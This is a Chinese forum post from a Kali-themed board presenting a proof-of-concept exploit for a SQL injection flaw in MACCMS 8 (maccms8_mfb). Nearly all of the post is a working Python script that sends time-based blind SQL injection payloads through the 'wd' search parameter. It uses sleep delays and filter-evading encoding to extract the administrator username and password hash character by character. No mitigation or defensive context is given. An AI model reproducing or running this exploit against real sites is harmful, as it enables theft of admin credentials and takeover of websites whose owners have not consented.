Kali 笔记

搜索
查看: 2388|回复: 0

MACCMS(苹果CMS)注入漏洞

[复制链接]

74

主题

97

帖子

193

积分

注册会员

Rank: 2

积分
193
发表于 2019-6-1 16:25:22 来自手机 | 显示全部楼层 |阅读模式
maccms8_mfb(苹果CMS视频分享程序 8.0 | 2017.09.27 发布的版本

Poc
#! /usr/bin/python
# -*- coding:utf-8 -*-
#author:F0rmat
import requests
import time
dict = "1234567890qwertyuiopasdfghjklzxcvbnm_{}QWERTYUIOPASDFGHJKLZXCVBNM,@.?"
UserName=''
UserPass=''
UserName_length=0
url='http://sb.com/'
url = url + r'/index.php?m=vod-search'
def main():
global UserName
global url
for i in range(30):
startTime = time.time()
sql = "))||if((select%0bascii(length((select(m_name)``from(mac_manager))))={}),(`sleep`(3)),0)#%25%35%63".format(
ord(str(i)))
data = {'wd': sql}
response = requests.post(url, data=data)  # 发送请求
if time.time() - startTime > 3:
UserName_length = i
print UserName_length
break
for num in range(1, UserName_length + 1):
for i in dict:  # 遍历取出字符
startTime = time.time()
sql = "))||if((select%0bascii(substr((select(m_name)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format(
str(num), ord(i))
data = {'wd': sql}
response = requests.post(url, data=data)  # 发送请求
print data
if time.time() - startTime > 3:
UserName += i
break
global UserPass
for num in range(32):
for i in dict:  # 遍历取出字符
startTime = time.time()
sql = "))||if((select%0bascii(substr((select(m_password)``from(mac_manager)),{},1))={}),(`sleep`(3)),0)#%25%35%63".format(
str(num), ord(i))
data = {'wd': sql}
response = requests.post(url, data=data)  # 发送请求
print data
if time.time() - startTime > 3:
UserPass += i
break
print 'username:'+UserName,'password:'+UserPass
if __name__ == '__main__':
main()

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表